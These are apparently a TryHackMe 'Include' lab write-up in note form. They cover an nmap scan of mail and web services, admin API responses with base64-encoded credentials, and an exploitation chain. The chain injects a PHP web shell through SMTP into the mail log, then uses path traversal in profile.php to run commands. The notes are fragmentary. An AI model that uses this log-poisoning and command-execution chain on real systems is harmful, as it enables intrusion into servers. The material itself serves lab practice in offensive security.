

Include TryHackMe

nmap -sC -sV -p 110,25,993,143,22,995 -oN nmap.md 10.10.77.54

```
PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 65:69:ef:65:63:35:85:1d:15:ce:0d:94:ac:95:f6:73 (RSA)
|   256 df:df:fa:38:68:f6:b6:ee:9f:63:6e:c1:40:a2:b5:a6 (ECDSA)
|_  256 56:f5:c4:b6:97:c4:92:de:74:6e:c0:ec:ac:9c:33:c2 (ED25519)

25/tcp    open  smtp      Postfix smtpd
|_smtp-commands: mail.filepath.lab, PIPELINING, SIZE 10240000, VRFY, ETRN,
STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Not valid before: 2021-11-10T16:53:34
|_Not valid after: 2031-11-08T16:53:34

110/tcp   open  pop3      Dovecot pop3d
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Not valid before: 2021-11-10T16:53:34
|_Not valid after: 2031-11-08T16:53:34
|_pop3-capabilities: CAPA RESP-CODES UIDL TOP SASL STLS AUTH-RESP-CODE PIPELINING
|_ssl-date: TLS randomness does not represent time

143/tcp   open  imap      Dovecot imapd (Ubuntu)
|_ssl-date: TLS randomness does not represent time
|_imap-capabilities: more capabilities ID LOGIN-REFERRALS ENABLE OK have Pre-
login post-login IMAP4rev1 listed LOGINDISABLEDA0001 STARTTLS LITERAL+ SASL-IR
IDLE
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Not valid before: 2021-11-10T16:53:34
|_Not valid after: 2031-11-08T16:53:34

993/tcp   open  ssl/imap  Dovecot imapd (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Not valid before: 2021-11-10T16:53:34
|_Not valid after: 2031-11-08T16:53:34
|_imap-capabilities: more capabilities ID LOGIN-REFERRALS ENABLE OK have Pre-
login post-login IMAP4rev1 listed AUTH=PLAIN AUTH=LOGINA0001LITERAL+ SASL-IR
```

IDLE

```
995/tcp open  ssl/pop3 Dovecot pop3d
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Not valid before: 2021-11-10T16:53:34
|_Not valid after: 2031-11-08T16:53:34
|_ssl-date: TLS randomness does not represent time
|_pop3-capabilities: CAPA RESP-CODES UIDL TOP SASL(PLAIN LOGIN) USER AUTH-RESP-
CODE PIPELINING
Service Info: Host: mail.filepath.lab; OS: Linux; CPE: cpe:/o:linux:linux_kernel

4000/tcp open  http      Node.js (Express middleware)
|_http-title: Sign In

50000/tcp open  http      Apache httpd 2.4.41 ((Ubuntu))
|_http-title: System Monitoring Portal
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-cookie-flags:
|   /:
|       PHPSESSID:
|_       httponly flag not set
```

Recommend an Activity to guest

Recommend Activity

API Dashboard

Below is a list of important APIs accessible to admins with sample requests and responses:

Internal API

GET http://127.0.0.1:5000/internal-api HTTP/1.1
Host: 127.0.0.1:5000

Response:

```
{
  "secretKey": "superSecretKey123",
  "confidentialInfo": "This is very confidential."
}
```

Get Admins API

GET http://127.0.0.1:5000/getAllAdmins101099991 HTTP/1.1
Host: 127.0.0.1:5000

Response:

```
{
  "ReviewAppUsername": "admin",
  "ReviewAppPassword": "xxxxxx",
  "SysMonAppUsername": "administrator",
  "SysMonAppPassword": "xxxxxxxxxx",
}
```

Admin Settings

Current Banner Image URL:

data:application/json; charset=utf-8;base64,eyJzZWNyZXRLZXkiOiJzdXBlcINlY3JldEtleTEyMyIsImNvbWZpZGVudGlhbEluZm8iOiJlUaGlzIGlzIHZlcnkgY29uZmlkZW50aWZlIGluZm9ybWF0aW9uLiBIYW5kbGUgd2l0aCBjYXJlLiJ9

Update Banner Image URL

data:application/json; charset=utf-8;base64,eyJzZWNyZXRLZXkiOiJzdXBlcINlY3JldEtleTEyMyIsImNvbWZpZGVudGlhbEluZm8iOiJlUaGlzIGlzIHZlcnkgY29uZmlkZW50aWZlIGluZm9ybWF0aW9uLiBIYW5kbGUgd2l0aCBjYXJlLiJ9

Update Banner Image


eyJzZWNyZXRLZXkiOiJzdXBlcINlY3JldEtleTEyMyIsImNvbWZpZGVudGlhbEluZm8iOiJlUaGlzIGlzIHZlcnkgY29uZmlkZW50aWZlIGluZm9ybWF0aW9uLiBIYW5kbGUgd2l0aCBjYXJlLiJ9

http://127.0.0.1:5000/getAllAdmins101099991

eyJJSZXZpZXdBcHBVc2VybmFtZSI6ImFkbWluIiwiaWF0IjpmV2aWV3QXBwUGFzc3dvcmQ10iJhZG1pbkAhISEiL
CJTeXNNb25BcHBVc2VybmFtZSI6ImFkbWluXN0cmF0b3IiLCJTeXNNb25BcHBQYXNzd29yZCI6IlMkOS
RxazZkIyoqTFFVIn0=

<http://filepath.lab:50000/dashboard.php>

```
GET /profile.php?
```



```
noxlumens@noxnnox:~/Documents/tryhackme/include$ telnet mail.filepath.lab 25
Trying 10.10.242.58...
Connected to mail.filepath.lab.
Escape character is '^]'.
220 mail.filepath.lab ESMTP Postfix (Ubuntu)
HELO filepath.lab
250 mail.filepath.lab
mail from: <?php echo system($_GET["cmd"]); ?>
501 5.1.7 Bad sender address syntax
mail from: test
250 2.1.0 Ok
rcpt to: root
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
subject: <?php echo system($_GET["cmd"]); ?>
<?php echo system($_GET["cmd"]); ?>
```

```
telnet mail.filepath.lab 25
HELO filepath.lab
mail from: <?php echo system($_GET["cmd"]); ?>
mail from: test
rcpt to: root
data
subject: <?php echo system($_GET["cmd"]); ?>
<?php echo system($_GET["cmd"]); ?>
.
```

```
<?php echo system($_GET["cmd"]); ?>
```

```
GET /profile.php?
```

```
img=.....//.....//.....//.....//.....//.....//.....//.....//.....//var/log/mail.log&cmd=ls+-la+/var/www/html
```

Request	Response
<pre>1 GET /profile.php?img=//.....//.....//.....//.....//.....//.....//.....//.....//var/log/mail.log&cmd= ls+-la+/var/www/html HTTP/1.1 2 Host: filepath.lab:50000 3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 4 Accept: image/avif,image/webp,*/* 5 Accept-Language: en-US,en;q=0.5 6 Accept-Encoding: gzip, deflate, br 7 Connection: close 8 Referer: http://filepath.lab:50000/dashboard.php 9 Cookie: connect.sid= s%3AVd9JektbljLlUadLLdvXNZwkZNfbjw72.%2F2LFA%2FjXVwReLS4T%2BKD10025pecmoqZNF4tMaqH3eU; PHPSESSID=sk10o3tv64saq5ciqepvpotek7</pre>	<pre>ip-10-6-48-143.eu-west-1.compute.internal[10.6.48.143] 92 Jun 3 01:51:45 mail postfix/smtpd[4737]: disconnect from ip-10-6-48-143.eu-west-1.compute.internal[10.6.48.143] helo=1 mail=2 rcpt=2 data=2 commands=7 93 Jun 3 01:53:01 mail postfix/smtpd[4737]: connect from ip-10-6-48-143.eu-west-1.compute.internal[10.6.48.143] 94 Jun 3 01:53:46 mail postfix/smtpd[4737]: warning: illegal address syntax from ip-10-6-48-143.eu-west-1.compute.internal[10.6.48.143] in MAIL command: total 52 95 drwxr-xr-x 4 ubuntu ubuntu 4096 Mar 12 14:09 . 96 drwxr-xr-x 3 root root 4096 Nov 10 2021 .. 97 -rw-rw-r-- 1 ubuntu ubuntu 351 Feb 21 18:36 .htaccess 98 -rw-rw-r-- 1 ubuntu ubuntu 38 Feb 22 11:24 505eb0fb8a9f32853b4d955e1f9123ea.txt 99 -rw-rw-r-- 1 ubuntu ubuntu 257 Feb 23 2023 api.php 100 -rw-rw-r-- 1 ubuntu ubuntu 932 Feb 26 13:02 auth.php 101 -rw-rw-r-- 1 ubuntu ubuntu 3504 Feb 21 11:40 dashboard.php 102 -rw-rw-r-- 1 ubuntu ubuntu 429 Feb 21 19:37 index.php 103 -rw-rw-r-- 1 ubuntu ubuntu 1000 Feb 20 21:23 login.php 104 -rw-rw-r-- 1 ubuntu ubuntu 81 Nov 5 2023 logout.php 105 -rw-rw-r-- 1 ubuntu ubuntu 444 Mar 12 11:44 profile.php 106 drwxrwxr-x 2 ubuntu ubuntu 4096 Mar 12 11:44 templates 107 drwxrwxr-x 2 ubuntu ubuntu 4096 Feb 20 21:08 uploads 108 drwxrwxr-x 2 ubuntu ubuntu 4096 Feb 20 21:08 uploadsJun 3 01:54:09 mail postfix/smtpd[4737]: 04274FB31E: client=ip-10-6-48-143.eu-west-1.compute.internal[10.6.48.143] 109 Jun 3 01:54:20 mail postfix/cleanup[4750]: 04274FB31E: message-id=<> 110 Jun 3 01:54:20 mail postfix/qmgr[1663]: 04274FB31E: from=<test@mail.filepath.lab>, size=281, nrcpt=1 (queue active) 111 Jun 3 01:54:20 mail postfix/local[4760]: 04274FB31E: to=<root@mail.filepath.lab>, orig_to=<root>, relay=local, delay=29, delays=29/0/0/0, dsn=2.0.0, status=sent (delivered to maildir) 112 Jun 3 01:54:20 mail postfix/qmgr[1663]: 04274FB31E: removed</pre>

